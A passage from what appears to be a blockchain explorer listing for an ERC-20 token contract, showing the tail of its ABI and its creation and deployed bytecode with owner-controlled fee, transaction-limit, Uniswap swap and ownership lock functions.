uts":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"updateUniRouter","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600e60a08190526d2837b63cb3b7b729b7b630b7309960911b60c0908152620000319160039190620005b9565b506040805180820190915260038082526228299960e91b60209092019182526200005e91600491620005b9565b506005805474c52aca4e303ca4686cae41ccde651bd65ece6af3126001600160a81b0319909116179055600680546001600160a01b031916733eb12558eb155246a26fd04817925aa68cfe926417905561dead6080526001600d819055600e819055600f819055601081905560118190556012908155620000e190600a62000774565b620000f190633b9aca006200078c565b601355600554620001079060ff16600a62000774565b6200011790633b9aca006200078c565b6014556005546200012d9060ff16600a62000774565b6200013d90633b9aca006200078c565b601555600554620001539060ff16600a62000774565b6200016290620f42406200078c565b6016556018805462ffffff60a81b1916600160a81b1790553480156200018757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021c57600080fd5b505afa15801562000231573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002579190620007ae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a057600080fd5b505afa158015620002b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002db9190620007ae565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200032457600080fd5b505af115801562000339573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035f9190620007ae565b601880546001600160a01b039283166001600160a01b03199182161790915560178054928416929091168217905560135430600090815260086020908152604080832094835293905291822055600d54601055600e54601155600f54601255600190600990620003d76000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006549091168152600990925280822080548416600190811790915530835290822080549093168117909255600a90620004476000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065482168152600a9093528183208054851660019081179091556018549091168352818320805485168217905530835290822080549093168117909255600b90620004c96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065482168152600b845282812080548616600190811790915530825283822080548716821790556018549092168152600c90935290822080549093161790915560135490600790620005473390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601354604051620005aa91815260200190565b60405180910390a35062000816565b828054620005c790620007d9565b90600052602060002090601f016020900481019282620005eb576000855562000636565b82601f106200060657805160ff191683800117855562000636565b8280016001018555821562000636579182015b828111156200063657825182559160200191906001019062000619565b506200064492915062000648565b5090565b5b8082111562000644576000815560010162000649565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006b65781600019048211156200069a576200069a6200065f565b80851615620006a857918102915b93841c93908002906200067a565b509250929050565b600082620006cf575060016200076e565b81620006de575060006200076e565b8160018114620006f75760028114620007025762000722565b60019150506200076e565b60ff8411156200071657620007166200065f565b50506001821b6200076e565b5060208310610133831016604e8410600b841016171562000747575081810a6200076e565b62000753838362000675565b80600019048211156200076a576200076a6200065f565b0290505b92915050565b60006200078560ff841683620006be565b9392505050565b6000816000190483118215151615620007a957620007a96200065f565b500290565b600060208284031215620007c157600080fd5b81516001600160a01b03811681146200078557600080fd5b600181811c90821680620007ee57607f821691505b602082108114156200081057634e487b7160e01b600052602260045260246000fd5b50919050565b6080516126ae620008396000396000818161048b0152610c6301526126ae6000f3fe6080604052600436106103395760003560e01c80638da5cb5b116101ab578063c5d24189116100f7578063ec28438a11610095578063f1d5f5171161006f578063f1d5f517146109b1578063f2fde38b146109d1578063f84ba65d146109f1578063f872858a14610a1157600080fd5b8063ec28438a1461095b578063ef422a181461097b578063f0cd1dac1461099b57600080fd5b8063c867d60b116100d1578063c867d60b146108a4578063da00097d146108d4578063dd467064146108f5578063dd62ed3e1461091557600080fd5b8063c5d2418914610858578063c816841b1461086e578063c86079521461088e57600080fd5b8063a457c2d711610164578063a9059cbb1161013e578063a9059cbb146107c8578063b0249cc6146107e8578063c44516c014610818578063c49b9a801461083857600080fd5b8063a457c2d714610773578063a5d69d1f14610793578063a69df4b5146107b357600080fd5b80638da5cb5b146106d05780638ea5220f146106ee57806395d89b4114610713578063a073d37f14610728578063a08e671f1461073d578063a3ca847d1461075357600080fd5b80634a74bb0211610285578063715018a611610223578063807c2d9c116101fd578063807c2d9c1461065457806382eefb431461066a578063844d591c146106805780638b42507f146106a057600080fd5b8063715018a61461060957806375f0a8741461061e5780637d1db4a51461063e57600080fd5b8063557ed1ba1161025f578063557ed1ba14610595578063602bc62b146105a857806361a23c69146105bd57806370a08231146105d357600080fd5b80634a74bb02146105245780634cb80fd5146105455780635342acb41461056557600080fd5b806323b872dd116102f25780632b112e49116102cc5780632b112e49146104ad578063313ce567146104c257806339509351146104e45780633b97084a1461050457600080fd5b806323b872dd146104395780632563ae831461045957806327c8f8351461047957600080fd5b806306fdde03146103455780630940bbc714610370578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780632198cf6c1461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a610a32565b6040516103679190612293565b60405180910390f35b34801561037c57600080fd5b5061039061038b3660046122e8565b610ac4565b005b34801561039e57600080fd5b506103b26103ad366004612319565b610b42565b6040519015158152602001610367565b3480156103ce57600080fd5b506017546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b34801561040657600080fd5b506013545b604051908152602001610367565b34801561042557600080fd5b5061039061043436600461235a565b610b59565b34801561044557600080fd5b506103b261045436600461238f565b610bae565b34801561046557600080fd5b506103906104743660046123d0565b610c19565b34801561048557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000000081565b3480156104b957600080fd5b5061040b610c61565b3480156104ce57600080fd5b5060055460405160ff9091168152602001610367565b3480156104f057600080fd5b506103b26104ff366004612319565b610cab565b34801561051057600080fd5b5061039061051f3660046122e8565b610ce1565b34801561053057600080fd5b506018546103b290600160a81b900460ff1681565b34801561055157600080fd5b506103906105603660046123eb565b610d10565b34801561057157600080fd5b506103b26105803660046123eb565b60096020526000908152604090205460ff1681565b3480156105a157600080fd5b504261040b565b3480156105b457600080fd5b5060025461040b565b3480156105c957600080fd5b5061040b600f5481565b3480156105df57600080fd5b5061040b6105ee3660046123eb565b6001600160a01b031660009081526007602052604090205490565b34801561061557600080fd5b50610390610dbd565b34801561062a57600080fd5b506006546103e2906001600160a01b031681565b34801561064a57600080fd5b5061040b60145481565b34801561066057600080fd5b5061040b60155481565b34801561067657600080fd5b5061040b60115481565b34801561068c57600080fd5b5061039061069b36600461235a565b610e1f565b3480156106ac57600080fd5b506103b26106bb3660046123eb565b600b6020526000908152604090205460ff1681565b3480156106dc57600080fd5b506000546001600160a01b03166103e2565b3480156106fa57600080fd5b506005546103e29061010090046001600160a01b031681565b34801561071f57600080fd5b5061035a610e74565b34801561073457600080fd5b5060165461040b565b34801561074957600080fd5b5061040b60125481565b34801561075f57600080fd5b5061039061076e3660046122e8565b610e83565b34801561077f57600080fd5b506103b261078e366004612319565b610ef8565b34801561079f57600080fd5b506103906107ae3660046123d0565b610f47565b3480156107bf57600080fd5b50610390610f8f565b3480156107d457600080fd5b506103b26107e3366004612319565b611095565b3480156107f457600080fd5b506103b26108033660046123eb565b600c6020526000908152604090205460ff1681565b34801561082457600080fd5b506103e26108333660046123eb565b6110a2565b34801561084457600080fd5b506103906108533660046123d0565b611434565b34801561086457600080fd5b5061040b600d5481565b34801561087a57600080fd5b506018546103e2906001600160a01b031681565b34801561089a57600080fd5b5061040b600e5481565b3480156108b057600080fd5b506103b26108bf3660046123eb565b600a6020526000908152604090205460ff1681565b3480156108e057600080fd5b506018546103b290600160b01b900460ff1681565b34801561090157600080fd5b506103906109103660046122e8565b6114b6565b34801561092157600080fd5b5061040b610930366004612408565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561096757600080fd5b506103906109763660046122e8565b61153b565b34801561098757600080fd5b5061039061099636600461235a565b6115b5565b3480156109a757600080fd5b5061040b60105481565b3480156109bd57600080fd5b506103906109cc3660046122e8565b61160a565b3480156109dd57600080fd5b506103906109ec3660046123eb565b611639565b3480156109fd57600080fd5b50610390610a0c36600461235a565b611711565b348015610a1d57600080fd5b506018546103b290600160b81b900460ff1681565b606060038054610a4190612441565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6d90612441565b8015610aba5780601f10610a8f57610100808354040283529160200191610aba565b820191906000526020600020905b815481529060010190602001808311610a9d57829003601f168201915b5050505050905090565b6000546001600160a01b03163314610af75760405162461bcd60e51b8152600401610aee9061247c565b60405180910390fd5b6005811115610b385760405162461bcd60e51b815260206004820152600d60248201526c4d61782066656520697320352560981b6044820152606401610aee565b600e819055601155565b6000610b4f338484611766565b5060015b92915050565b6000546001600160a01b03163314610b835760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000610bbb84848461188a565b50610c0e8433610c098560405180606001604052806028815260200161260c602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190611c83565b611766565b5060015b9392505050565b6000546001600160a01b03163314610c435760405162461bcd60e51b8152600401610aee9061247c565b60188054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260076020526040812054601354610ca691611cbd565b905090565b3360008181526008602090815260408083206001600160a01b03871684529091528120549091610b4f918590610c099086611cff565b6000546001600160a01b03163314610d0b5760405162461bcd60e51b8152600401610aee9061247c565b601655565b6000546001600160a01b03163314610d3a5760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b038116610d9b5760405162461bcd60e51b815260206004820152602260248201527f6e657741646472657373206d757374206e6f7420626520657175616c20746f20604482015261060f60f31b6064820152608401610aee565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610de75760405162461bcd60e51b8152600401610aee9061247c565b600080546040516001600160a01b0390911690600080516020612634833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610e495760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b606060048054610a4190612441565b6000546001600160a01b03163314610ead5760405162461bcd60e51b8152600401610aee9061247c565b6005811115610eee5760405162461bcd60e51b815260206004820152600d60248201526c4d61782066656520697320352560981b6044820152606401610aee565b600d819055601055565b6000610b4f3384610c0985604051806060016040528060258152602001612654602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190611c83565b6000546001600160a01b03163314610f715760405162461bcd60e51b8152600401610aee9061247c565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6001546001600160a01b03163314610ff55760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610aee565b60025442116110465760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610aee565b600154600080546040516001600160a01b03938416939091169160008051602061263483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c0e33848461188a565b600080546001600160a01b031633146110cd5760405162461bcd60e51b8152600401610aee9061247c565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561110b57600080fd5b505afa15801561111f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114391906124b1565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561118b57600080fd5b505afa15801561119f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c391906124b1565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b15801561120957600080fd5b505afa15801561121d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124191906124b1565b91506001600160a01b0382166113c557806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c291906124b1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561130a57600080fd5b505afa15801561131e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134291906124b1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561138a57600080fd5b505af115801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c291906124b1565b91505b601880546001600160a01b03199081166001600160a01b03858116918217845560178054909316948116949094179091556000908152600a60209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461145e5760405162461bcd60e51b8152600401610aee9061247c565b60188054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906114ab90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146114e05760405162461bcd60e51b8152600401610aee9061247c565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561150f81426124e4565b600255600080546040516001600160a01b0390911690600080516020612634833981519152908390a350565b6000546001600160a01b031633146115655760405162461bcd60e51b8152600401610aee9061247c565b622625a08110156115b05760405162461bcd60e51b815260206004820152601560248201527426b4b71036b0bc2a3c20b6b7bab73a1032b93937b960591b6044820152606401610aee565b601455565b6000546001600160a01b031633146115df5760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146116345760405162461bcd60e51b8152600401610aee9061247c565b601555565b6000546001600160a01b031633146116635760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b0381166116c85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610aee565b600080546040516001600160a01b038085169392169160008051602061263483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461173b5760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6001600160a01b0383166117c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aee565b6001600160a01b0382166118295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aee565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000816001600160a01b0385166118f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610aee565b6001600160a01b0384166119535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610aee565b601854600160a01b900460ff161561197857611970858585611d5e565b915050610c12565b6001600160a01b0385166000908152600b602052604090205460ff161580156119ba57506001600160a01b0384166000908152600b602052604090205460ff16155b15611a2257601454831115611a225760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610aee565b3060009081526007602052604090205460165460065490821015906001600160a01b03888116911614611a5f57611a5a878787611e44565b611a62565b60005b9250808015611a7b5750601854600160a01b900460ff16155b8015611aa057506001600160a01b0387166000908152600c602052604090205460ff16155b8015611ab55750601854600160a81b900460ff165b15611adb57601854600160b01b900460ff1615611ad25760165491505b611adb82611f76565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a16600090815260079091529190912054611b2d918590611c83565b6001600160a01b038816600090815260076020908152604080832093909355600990529081205460ff1680611b7a57506001600160a01b03871660009081526009602052604090205460ff165b611b845783611b86565b855b601854909150600160b81b900460ff168015611bbb57506001600160a01b0387166000908152600a602052604090205460ff16155b15611bf757601554611bec82611be68a6001600160a01b031660009081526007602052604090205490565b90611cff565b1115611bf757600080fd5b6001600160a01b038716600090815260076020526040902054611c1a9082611cff565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c6e9085815260200190565b60405180910390a36001945050505050610c12565b60008184841115611ca75760405162461bcd60e51b8152600401610aee9190612293565b506000611cb484866124fc565b95945050505050565b6000610c1283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c83565b600080611d0c83856124e4565b905083811015610c125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aee565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611daf918490611c83565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611dde9083611cff565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e329086815260200190565b60405180910390a35060019392505050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611e8e57611e876064611e8160105486611fc790919063ffffffff16565b90612046565b9050611ef2565b6001600160a01b0384166000908152600c602052604090205460ff168015611ed05750600654600f54600091611ece91906001600160a01b031631611cbd565b115b15611ef257611eef6064611e8160115486611fc790919063ffffffff16565b90505b8015611f6c5730600090815260076020526040902054611f129082611cff565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f639085815260200190565b60405180910390a35b611cb48382611cbd565b6018805460ff60a01b1916600160a01b17905580611f9381612088565b478015611fb557600554611fb59061010090046001600160a01b03168261222a565b50506018805460ff60a01b1916905550565b600082611fd657506000610b53565b6000611fe28385612513565b905082611fef8583612532565b14610c125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610aee565b6000610c1283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612265565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120bd576120bd612554565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561211157600080fd5b505afa158015612125573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061214991906124b1565b8160018151811061215c5761215c612554565b6001600160a01b0392831660209182029290920101526017546121829130911684611766565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906121bb9085906000908690309042906004016125ae565b600060405180830381600087803b1580156121d557600080fd5b505af11580156121e9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161221e9291906125ea565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612260573d6000803e3d6000fd5b505050565b600081836122865760405162461bcd60e51b8152600401610aee9190612293565b506000611cb48486612532565b600060208083528351808285015260005b818110156122c0578581018301518582016040015282016122a4565b818111156122d2576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156122fa57600080fd5b5035919050565b6001600160a01b038116811461231657600080fd5b50565b6000806040838503121561232c57600080fd5b823561233781612301565b946020939093013593505050565b8035801515811461235557600080fd5b919050565b6000806040838503121561236d57600080fd5b823561237881612301565b915061238660208401612345565b90509250929050565b6000806000606084860312156123a457600080fd5b83356123af81612301565b925060208401356123bf81612301565b929592945050506040919091013590565b6000602082840312156123e257600080fd5b610c1282612345565b6000602082840312156123fd57600080fd5b8135610c1281612301565b6000806040838503121561241b57600080fd5b823561242681612301565b9150602083013561243681612301565b809150509250929050565b600181811c9082168061245557607f821691505b6020821081141561247657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156124c357600080fd5b8151610c1281612301565b634e487b7160e01b600052601160045260246000fd5b600082198211156124f7576124f76124ce565b500190565b60008282101561250e5761250e6124ce565b500390565b600081600019048311821515161561252d5761252d6124ce565b500290565b60008261254f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156125a35781516001600160a01b03168752958201959082019060010161257e565b509495945050505050565b85815284602082015260a0604082015260006125cd60a083018661256a565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000612603604083018461256a565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fa85602824a18f696d71d29e800eacb10572c398b3e4ac69f68e3fa5f2ad40064736f6c63430008090033

Deployed Bytecode

0x6080604052600436106103395760003560e01c80638da5cb5b116101ab578063c5d24189116100f7578063ec28438a11610095578063f1d5f5171161006f578063f1d5f517146109b1578063f2fde38b146109d1578063f84ba65d146109f1578063f872858a14610a1157600080fd5b8063ec28438a1461095b578063ef422a181461097b578063f0cd1dac1461099b57600080fd5b8063c867d60b116100d1578063c867d60b146108a4578063da00097d146108d4578063dd467064146108f5578063dd62ed3e1461091557600080fd5b8063c5d2418914610858578063c816841b1461086e578063c86079521461088e57600080fd5b8063a457c2d711610164578063a9059cbb1161013e578063a9059cbb146107c8578063b0249cc6146107e8578063c44516c014610818578063c49b9a801461083857600080fd5b8063a457c2d714610773578063a5d69d1f14610793578063a69df4b5146107b357600080fd5b80638da5cb5b146106d05780638ea5220f146106ee57806395d89b4114610713578063a073d37f14610728578063a08e671f1461073d578063a3ca847d1461075357600080fd5b80634a74bb0211610285578063715018a611610223578063807c2d9c116101fd578063807c2d9c1461065457806382eefb431461066a578063844d591c146106805780638b42507f146106a057600080fd5b8063715018a61461060957806375f0a8741461061e5780637d1db4a51461063e57600080fd5b8063557ed1ba1161025f578063557ed1ba14610595578063602bc62b146105a857806361a23c69146105bd57806370a08231146105d357600080fd5b80634a74bb02146105245780634cb80fd5146105455780635342acb41461056557600080fd5b806323b872dd116102f25780632b112e49116102cc5780632b112e49146104ad578063313ce567146104c257806339509351146104e45780633b97084a1461050457600080fd5b806323b872dd146104395780632563ae831461045957806327c8f8351461047957600080fd5b806306fdde03146103455780630940bbc714610370578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780632198cf6c1461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a610a32565b6040516103679190612293565b60405180910390f35b34801561037c57600080fd5b5061039061038b3660046122e8565b610ac4565b005b34801561039e57600080fd5b506103b26103ad366004612319565b610b42565b6040519015158152602001610367565b3480156103ce57600080fd5b506017546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b34801561040657600080fd5b506013545b604051908152602001610367565b34801561042557600080fd5b5061039061043436600461235a565b610b59565b34801561044557600080fd5b506103b261045436600461238f565b610bae565b34801561046557600080fd5b506103906104743660046123d0565b610c19565b34801561048557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104b957600080fd5b5061040b610c61565b3480156104ce57600080fd5b5060055460405160ff9091168152602001610367565b3480156104f057600080fd5b506103b26104ff366004612319565b610cab565b34801561051057600080fd5b5061039061051f3660046122e8565b610ce1565b34801561053057600080fd5b506018546103b290600160a81b900460ff1681565b34801561055157600080fd5b506103906105603660046123eb565b610d10565b34801561057157600080fd5b506103b26105803660046123eb565b60096020526000908152604090205460ff1681565b3480156105a157600080fd5b504261040b565b3480156105b457600080fd5b5060025461040b565b3480156105c957600080fd5b5061040b600f5481565b3480156105df57600080fd5b5061040b6105ee3660046123eb565b6001600160a01b031660009081526007602052604090205490565b34801561061557600080fd5b50610390610dbd565b34801561062a57600080fd5b506006546103e2906001600160a01b031681565b34801561064a57600080fd5b5061040b60145481565b34801561066057600080fd5b5061040b60155481565b34801561067657600080fd5b5061040b60115481565b34801561068c57600080fd5b5061039061069b36600461235a565b610e1f565b3480156106ac57600080fd5b506103b26106bb3660046123eb565b600b6020526000908152604090205460ff1681565b3480156106dc57600080fd5b506000546001600160a01b03166103e2565b3480156106fa57600080fd5b506005546103e29061010090046001600160a01b031681565b34801561071f57600080fd5b5061035a610e74565b34801561073457600080fd5b5060165461040b565b34801561074957600080fd5b5061040b60125481565b34801561075f57600080fd5b5061039061076e3660046122e8565b610e83565b34801561077f57600080fd5b506103b261078e366004612319565b610ef8565b34801561079f57600080fd5b506103906107ae3660046123d0565b610f47565b3480156107bf57600080fd5b50610390610f8f565b3480156107d457600080fd5b506103b26107e3366004612319565b611095565b3480156107f457600080fd5b506103b26108033660046123eb565b600c6020526000908152604090205460ff1681565b34801561082457600080fd5b506103e26108333660046123eb565b6110a2565b34801561084457600080fd5b506103906108533660046123d0565b611434565b34801561086457600080fd5b5061040b600d5481565b34801561087a57600080fd5b506018546103e2906001600160a01b031681565b34801561089a57600080fd5b5061040b600e5481565b3480156108b057600080fd5b506103b26108bf3660046123eb565b600a6020526000908152604090205460ff1681565b3480156108e057600080fd5b506018546103b290600160b01b900460ff1681565b34801561090157600080fd5b506103906109103660046122e8565b6114b6565b34801561092157600080fd5b5061040b610930366004612408565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561096757600080fd5b506103906109763660046122e8565b61153b565b34801561098757600080fd5b5061039061099636600461235a565b6115b5565b3480156109a757600080fd5b5061040b60105481565b3480156109bd57600080fd5b506103906109cc3660046122e8565b61160a565b3480156109dd57600080fd5b506103906109ec3660046123eb565b611639565b3480156109fd57600080fd5b50610390610a0c36600461235a565b611711565b348015610a1d57600080fd5b506018546103b290600160b81b900460ff1681565b606060038054610a4190612441565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6d90612441565b8015610aba5780601f10610a8f57610100808354040283529160200191610aba565b820191906000526020600020905b815481529060010190602001808311610a9d57829003601f168201915b5050505050905090565b6000546001600160a01b03163314610af75760405162461bcd60e51b8152600401610aee9061247c565b60405180910390fd5b6005811115610b385760405162461bcd60e51b815260206004820152600d60248201526c4d61782066656520697320352560981b6044820152606401610aee565b600e819055601155565b6000610b4f338484611766565b5060015b92915050565b6000546001600160a01b03163314610b835760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000610bbb84848461188a565b50610c0e8433610c098560405180606001604052806028815260200161260c602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190611c83565b611766565b5060015b9392505050565b6000546001600160a01b03163314610c435760405162461bcd60e51b8152600401610aee9061247c565b60188054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260076020526040812054601354610ca691611cbd565b905090565b3360008181526008602090815260408083206001600160a01b03871684529091528120549091610b4f918590610c099086611cff565b6000546001600160a01b03163314610d0b5760405162461bcd60e51b8152600401610aee9061247c565b601655565b6000546001600160a01b03163314610d3a5760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b038116610d9b5760405162461bcd60e51b815260206004820152602260248201527f6e657741646472657373206d757374206e6f7420626520657175616c20746f20604482015261060f60f31b6064820152608401610aee565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610de75760405162461bcd60e51b8152600401610aee9061247c565b600080546040516001600160a01b0390911690600080516020612634833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610e495760405162461bcd60e51b8152600401610aee9061247c565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b606060048054610a4190612441565b6000546001600160a01b03163314610ead5760405162461bcd60e51b8152600401610aee9061247c565b6005811115610eee5760405162461bcd60e51b815260206004820152600d60248201526c4d61782066656520697320352560981b6044820152606401610aee565b600d819055601055565b6000610b4f3384610c0985604051806060016040528060258152602001612654602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190611c83565b6000546001600160a01b03163314610f715760405162461bcd60e51b8152600401610aee9061247c565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6001546001600160a01b03163314610ff55760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610aee565b60025442116110465760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610aee565b600154600080546040516001600160a01b03938416939091169160008051602061263483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c0e33848461188a565b600080546001600160a01b031633146110cd5760405162461bcd60e51b8152600401610aee9061247c565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561110b57600080fd5b505afa15801561111f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114391906124b1565b6001600160a01b031663e6a4390530836001600160a